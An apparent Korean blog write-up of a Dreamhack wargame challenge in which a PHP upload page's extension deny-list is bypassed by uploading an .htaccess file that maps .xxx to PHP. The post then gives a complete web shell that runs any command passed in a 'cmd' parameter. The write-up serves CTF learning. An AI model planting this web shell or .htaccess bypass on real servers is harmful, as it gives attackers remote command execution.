728x90
https://dreamhack.io/wargame/challenges/418/?mode=description
htaccess를 이용한 문제이다.
파일을 업로드 할 수 있는 공간이 구성되어있다.
<?php
$deniedExts = array("php", "php3", "php4", "php5", "pht", "phtml");
if (isset($_FILES)) {
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
$temp = explode(".", $name);
$extension = end($temp);
if(in_array($extension, $deniedExts)){
die($extension . " extension file is not allowed to upload ! ");
}else{
move_uploaded_file($tmp_name, "upload/" . $name);
echo "Stored in: <a href='/upload/{$name}'>/upload/{$name}</a>";
}
}
}else {
echo "File is not selected";
}
?>
우리가 올린 파일은 upload 디렉터리에 저장되는 것을 확인할 수 있다. 그럼 웹쉘을 실행시킬 수 있을 것이다.
그런데 php 필터링이 걸려있다. 이를 어떻게 해결할까? .htaccess파일을 통해 이를 우회할 수 있다.
.htaccess파일은 웹 서버에서 사용되는 구성 파일이다. .htaccess파일을 사용하여 파일 확장자에 따른 특정 동작을 수행하게 할 수 있다.
즉, 우리는 .htaccess파일을 올려 정의되지 않은 확장자를 php로 작동하게 만들 수 있는 점을 이용할 것이다.
AddType application/x-httpd-php .xxx
이와 같은 코드를 넣은 .htaccess 파일을 만들어주자. 이제 .xxx확장자는 php와 같이 사용된다.
이젠 웹쉘 코드를 짜주자.
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
드림핵 강의에 나왔던 코드를 재사용하겠다. 파일 확장자는 .xxx로 만들어주자.
링크가 생겼다. 들어가주자.
우리가 올린 웹쉘이 보인다. ls 명령어를 통해 flag를 찾아주자.
flag가 보인다. 이를 실행시켜주자.
짜자잔
728x90
반응형
'드림핵' 카테고리의 다른 글
[드림핵] login filtering 풀이 (0) | 2023.08.01 |
---|---|
[드림핵] php - 1 풀이 (0) | 2023.07.24 |
[드림핵] simple_sqli_chatgpt 풀이 (0) | 2023.07.16 |
[드림핵] [wargame.kr] strcmp (0) | 2023.07.12 |
[드림핵] File Vulnerability Advanced for linux 풀이 (0) | 2023.07.10 |